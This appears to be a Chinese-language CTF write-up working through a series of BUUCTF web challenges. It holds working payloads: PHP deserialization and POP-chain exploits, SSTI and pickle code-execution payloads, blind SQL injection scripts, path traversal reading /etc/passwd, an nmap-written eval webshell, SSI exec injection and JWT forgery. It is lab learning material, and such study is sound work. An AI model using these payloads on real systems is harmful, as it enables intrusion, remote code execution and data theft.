上面是大概了解一下源码,然后我们看看提示phpinfo里面有东西,去找一下,搜索一下关键词查找fopen、disable_、root。
盲打莽撞找到文件名。
关键点就在这个过滤函数机制,不大会,看一下wp。
过滤函数分为:
第一种为关键词数增加
第二种为关键词数减少
本体属于关键词减少,替换为空了。
一般通过键逃逸和值逃逸来解决。
值逃逸:这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对。
构造payload:
1 2 3 4 5 6 <?php $_SESSION ['user' ]="flagflagflagphpflagflag" ;$_SESSION ['function' ] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}' ;$_SESSION ['img' ] = base64_encode('guest_img.png' );echo serialize($_SESSION );?>
得到
a:3:{s:4:"user";s:23:"flagflagflagphpflagflag";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
之前的filter函数将php flag啥的都替换为空,那么我们就可以使$_SESSION[user]=”“中字符串的长度等于”;s:8:“function”;s:41:”一共23位。经过反序列化后少了一个键值,我们要重新加一个键值。
最后的payload:
_SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
参考https://www.freesion.com/article/2168622316/
还有一种方法也学习一下,加深自己的理解:
值逃逸:这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值的一部分充当键,剩下得一部分作为单独的键值对,
构造payload:
_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
通过键值img成为键名,传入参数img读取文件内容。
[SUCTF 2019]Pythonginx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 URL: @app.route('/getUrl' , methods = ['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = []for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl =urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read()else :return "我扌 your problem? 333"
好好审计一下源码,创建一个路由,这里区分一下两个方法:
POST 方法提交时要用request.form 来获取,而用GET 方法则用request.args 来获取。
通过url传参,前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
根据源码构造脚本,输出可以逃逸的字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode (): for x in range (65536 ): uni=chr (x) url="http://suctf.c{}" .format (uni) try : if getUrl(url): print ("str: " +uni+' unicode: \\u' +str (hex (x))[2 :]) except : pass def getUrl (url ): url=url host=parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts=list (urlsplit(url)) host=parts[1 ] if host == 'suctf.cc' : return False newhost=[] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ]='.' .join(newhost) finalUrl=urlunsplit(parts).split(' ' )[0 ] host=parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=='__main__' : get_unicode()
选择其中一个字符串,代替一个c。
该符号经url编码得到:%E2%84%82
我们可以直接构造payload读取文件:
getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd
题目提示读取nginx的配置文件
getUrl?url=file://suctf.c%E2%84%82/../../../../../usr/local/nginx/conf/nginx.conf
直接读取flag了。
getUrl?url=file://suctf.c%E2%84%82/../../../../../usr/fffffflag
参考:https://www.cnblogs.com/Cl0ud/p/12187204.html
贴上另外部分nginx的配置文件所在位置
1 2 3 4 5 6 7 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx
[0CTF 2016]piapiapia 先以用户名为admin,展开爆破,发现密码在两位数内会说密码错误,但是好像没啥用,也不存在sql注入,扫一下目录。
扫出www.zip,源码泄露。
好好看了一下源码,也知道了为什么之前登陆会这样了,就有点浪费时间去爆破了。
config.php里的flag是配置文件,实际的服务器环境中,这个flag是有值的。
在profile.php看到了关键函数file_get_contents这个用来读取文件的,同时还有反序列化。
然后看看update.php
存在很多过滤,前两个正则分别判断是否为数字或字符串和第三个不一样,nickname判断是否字符串还多了长度是否超过10,这里可以通过数组绕过正则表达式。
代码后面update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以试一下反序列化漏洞,最后把flag数据读取出来。
调用链顺序:update.php->update_profile()->class.php里的update()->数据库->class.php里的select()->show_profile()->profile.php里的file_get_contents()。
在后端中,反序列化是以”;}结束的,因此如果我们把”;}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。
本题的原理和上上题目的原理类似:
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的,而且只要整个字符串的前一部分能够成功反序列化,这个字符串后面剩下的一部分将会被丢弃.如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果
我们需要让这34字符”;}s:5:“photo”;s:10:“config.php”;}逃逸出来。
通过where过滤成hacker,会多一个长度。
相当于nickname的值把photo位置给抢占了,挤出去了
最后的payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
参考一下:https://www.baidu.com/link?url=K_BKXj_naHDrCrKTydDLe0f9c77rsmwZHGKdeepjPvD22TIHM_EOD2J_rgnDkqQmaBL4Wh4QNVIKU0EYCKo2__&wd=&eqid=8ac106c7002e910300000006607b857f
操作过程:
首先到登陆页面register.php注册后登陆,输入相应信息,抓包修改nickname内容后发包,在
最后f12查看返回base64编码,解码得到flag。
这题和上上题就是同一个原理,只不过是本题多了一个数组绕过,再补充一些相关绕过:
1 2 3 4 5 6 7 md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) =null preg_match(pattern,Array()) = false strcmp(Array(), “abc”) =null strpos(Array(),“abc”) = null strlen(Array()) = null
很多时候序列化字符串逃逸都和filter相关。
[WesternCTF2018]shrine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import flaskimport os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read()@app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s =s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' ,'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) +s return flask.render_template_string(safe_jinja(shrine)) if __name__ =='__main__' : app.run(debug = True )
很明显ssti注入,flask,jinja字符出现。本题过滤了括号,并且设置黑名单 [‘config’,’self’ ],如果没有过滤可以直接即可查看所有app.config内容
新学一个python函数url_for,作用是url是用于构建指定函数的URL,再配合globals(),该函数会以字典类型返回当前位置的全部全局变量。
payload:
{{url_for.__globals__}}
current_app’: <Flask ‘app’>这里的current就是指的当前的app,查看
{{url_for.__globals__['current_app'].config}}
查看到flag。
同样还有一个函数也可以实现,get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
[SWPU2019]Web1 类型:SQL注入。
广告名内容加个单引号,报错,存在sql注入。
尝试union查询注入,发现空格被替换了。
尝试/**/注释符替换空格,可以成功绕过空格过滤,想通过order by查询字段数,但是被黑名单了。
我们可以通过这个方法来获得字段数,一直试,
一共有22个字段,可以慢慢试出来。
接着要查询爆数据库名为web1。想接着查表,结果存在黑名单。
information_schema被黑名单了,报错注入相关函数也被黑名单了,看一下相关wp
其实order by 被过滤了,可以使用group by来猜字段,通过联合查询来猜字段适用于字段数小的,字段数大的太麻烦。
学习一下遇到information_schema被黑名单,如何绕过。
通过语句:
select group_concat(table_name) from mysql.innodb_table_stats
这是在MYSQL一个分支,数据库管理系统MariaDB适用的方法。成功拿到表名。
无列名注入
参考https://www.jianshu.com/p/dc9af4ca2d06
可以通过数字来查询第几列的全部数据。
payload:
-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
本题关键:无列名注入。
[WUSTCTF2020]朴实无华 测试出来有robots.txt文件,存在文件fAke_f1agggg.php,访问一下,假的flag,结果响应头有密码。
访问/fl4g.php拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval($num ) < 2020 && intval($num + 1 ) > 2021 ){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>" ; }else { die ("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�" ); } }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5($md5 )) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>" ; else die ("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�" ); }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr($get_flag ," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag ); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>" ; system($get_flag ); }else { die ("蹇埌闈炴床浜�" ); } }else { die ("鍘婚潪娲插惂" ); } ?>
intval函数绕过
原理:如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值 而对于科学计数法+数字 则会返回字符串类型
由函数特性:
1 2 echo(intval(2e4)) //2 echo(intval(2e4+1)) //20001
输入2e4进行绕过。
第二个绕过,直接输入0e215962017
进行绕过。前面有记录过。
最终的payload,拿到flag。
?num=2e4&md5=0e215962017&get_flag=tac$IFS$9\fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[网鼎杯 2020 朱雀组]Nmap 这是一个nmap扫描的页面,f12提示flag在/flag里。
之前遇到过类似的,我们可以通过nmap特有命令-oG写入一句话木马,
经过测试绕过过滤的payload:
127.0.0.1 | ' <?= @eval($_POST[1]);?> -oG hhh.phtml '
成功写入一句话木马,连接蚁剑。
可以回看**[BUUCTF 2018]Online Tool**
[MRCTF2020]PYWebsite f12查看源码有flag.php,
访问一下flag.php,伪造当前ip
添加xff。这里xff位置放有点讲究,不然页面会跳408.
[极客大挑战 2019]FinalSQL 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport timeurl = "http://a4699394-b245-4e13-bc2f-aa04420a9551.node4.buuoj.cn/search.php" params = {"id" : "" } flag= "" for i in range (1 , 1000 ): low = 32 high = 128 mid = (low + high)>>1 while (low < high): params["id" ] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid) r = requests.get(url, params=params) time.sleep(0.04 ) if "Cl" in r.text: low = mid + 1 else : high = mid mid = (low + high) >>1 if (mid == 32 or mid == 127 ): break flag += chr (mid) print (flag) print (flag)
[NPUCTF2020]ReadlezPHP f12点击跳转到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp;if (isset ($_GET ['source' ])){ highlight_file(__FILE__ ); die (0 ); } @$ppp = unserialize($_GET ["data" ]);
就一个简单的反序列化漏洞。
构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "ls" ; $this ->b = "system" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp;echo serialize($c );?>
传入无反应,被过滤了。
可以执行assert(phpinfo())
构造新的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "phpinfo()" ; $this ->b = "assert" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp;echo serialize($c );?>
在phpinfo里面查找flag,在payload中记得把前面source去除,不然得不到后面的回显,只有前面的回显。
[BJDCTF2020]EasySearch 爆破一下备份文件, 得到index.php.swp文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php ob_start(); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand(0 ,73 )].$chars [mt_rand(0 ,73 )].$chars [mt_rand(0 ,73 )].$chars [mt_rand(0 ,73 )].$chars [mt_rand(0 ,73 )]; $content = uniqid().$random ; return sha1($content ); } header("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr(md5($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash().".shtml" ; $shtml = fopen($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite($shtml ,$text ); fclose($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
利用脚本爆破密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashliba= "0123456789" for o in a: for p in a: for q in a: for r in a: for s in a: for t in a: for u in a: b = str (o)+str (p)+str (q)+str (r)+str (s)+str (t)+str (u) md5 = hashlib.md5(b.encode('utf-8' )).hexdigest() if ((md5[0 :6 ])=='6d0bc1' ): print b
得到2020666,2305004,9162671
选其中一个登陆。
发现新的url
后缀有shtml,存在ssi注入漏洞。
参考:
https://blog.csdn.net/qq_40657585/article/details/84260844
https://www.cnblogs.com/yuzly/p/11226439.html
这里的1就是前面输入的用户名,我们可以通过这里实现ssi注入。
源码中会把用户名写入后缀名为shtml的文件。
构造payload:
1 <!--#exec cmd="ls ../"-->
返回flag文件名,flag_990c66bf85a09c664f0b6741840499b2
拿flag
1 <!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
本题关键:爆破出md5加密后相应的值,ssi注入。
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Welcome to index.php <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize($_GET ['pop' ]); } else { $a =new Show; highlight_file(__FILE__ ); }
代码审计一下,发现有一个危险函数include()
的内容可控,这里就可能造成文件包含漏洞。
了解魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 1. __construct 具有构造函数的类会在每次创建新对象时先调用此方法;初始化工作执行。 2. __desstruct 对象的所有引用都被删除或者当对象被显式销毁时执行。 3.__call()在对象中调用一个不可访问方法时,__call() 会被调用。 4.__callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。 5.__set() 在给不可访问的属性赋值时调用 6.__get() 读取不可访问的属性值是自动调用 7.__isset() 当对不可访问的私有属性使用isset或empty时自动调用 8.__unset() 当对不可访问的私有属性使用unset时;自动调用 9.__toString()当一个类的实例对象;被当成一个字符串输出时调用 10.__invoke() 当脚本尝试将对象调用为函数时触发 11.__wakeup() 使用unserialize(反序列化)时触发 12.__sleep() 使用serialize(序列化)时触发
序列化Pop链 利用几个类之间相互关联进行构造
反序列化构造pop链的题目要注意两个点:
这里反序化入口点在Show类,使用unserialize时触发__wakeup()
,对$this->source正则匹配过滤关键字,如果$this->source此时是一个类的话,此时类就被当成了一个实例化对象,就会触发__tostring
。
Test类中有魔术方法__get
,__toString()
访问了str的source属性,str是Test
类,不存在source属性,就调用了Test类的__get()
魔术方法。
__get()
方法将p作为函数使用,p实例化为Modify
类,就调用了Modifier的__invoke()
方法;__invoke()
调用了append()
方法,包含$value
,若将$value
为伪协议,则可读flag.php源码
综合:
让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法,将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数,再让source 等于对象,进而触发__toString方法,输出内容
构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; } class Test { public $p ; } class Show { public $source ; public $str ; public function __construct ( ) { $this ->str = new Test(); } } $a = new Show();$a ->source = new Show();$a ->source->str->p = new Modifier();echo urlencode(serialize($a ));?>
成功返回一串base64编码。解码得到flag。
[NCTF2019]True XML cookbook 前面也做过一个相关XXE注入,直接读flag,
没读到flag,把读取文件方式修改成php伪协议,
读取doLogin.php,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php /** * autor: c0ny1 * date: 2018-2-7 */ $USERNAME = 'admin'; //账号 $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
看源码没啥用,
实现XXE攻击内网。
相关路径
1 2 /etc/hosts /proc/net/arp
发现存活主机:
使用第一个没有扫描到存活的主机,试了一下第二个,
返回ip地址,三个都访问爆破一下,结果第三个就存在flag。
如果本题在使用etc/hosts就找到主机,即可对最后一位数进行爆破。
补充一个读取历史命令的方法:
1 file:///www-data/.bash_history
[GYCTF2020]FlaskApp 在解码处输入123,非base64编码的数,报错,存在ssti注入。
尝试先加密再解密ssti注入,得到结果,是存在ssti注入,这里传入的是4+4。
刚开始没有连着两个花括号一起加密,导致只返回花括号内的字符串。
payload:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
解密得到flag。
参考:
https://www.cnblogs.com/h3zh1/p/12694933.html
[CISCN2019 华北赛区 Day1 Web2]ikun 第一个页面有提示一定要买到v6,我们点击下一页进行查找,找了几页没发现,v6,但是page参数可控,我们可以进行爆破。
如果在页面修改参数时,会跳转到调试器暂停,导致我们操作不便。
写python脚本爆破:
1 2 3 4 5 6 7 8 9 10 import requestsurl="http://640a0c0a-d512-4089-8d7d-648a51ca87d7.node3.buuoj.cn/shop?page=" for i in range (0 ,2500 ): r=requests.get(url+str (i)) if 'lv6.png' in r.text: print (i) break
爆破出来第181页,这么长。而且很贵
抓包看看,有没有可控参数。
价格和折扣都可以控制,修改
怎么操作失败了,尝试了前面的都可以任意修改成功,
如果只修改折扣就成功了。
尝试伪造xff,不行,注意这里有一串代码
base64解密一下,
看到username是我自己的登陆名5,这里需要改为admin 后边解码不出来因为经过了sha256,需要破解key 找了一个工具破的破解工具
然后生成伪造的JWT
成功绕过,记得在JWT后面加上;
f12查看页面代码,发现源码泄露www.zip
看了wp,存在python反序列化,pickle反序列化。
看到了在Admin.py中存在pickle.loads()
这个函数,会造成反序列化命令执行:
大佬分析python魔术方法
参考
构造payload:
1 2 3 4 5 6 7 8 9 10 import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload())#将object对象序列化为字符串形式,而不存入文件中 a = urllib.quote(a) print a
记得使用python2运行,不然会报错。
这样就可以打印flag.txt里的内容了,生成的payload传给become
1 c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.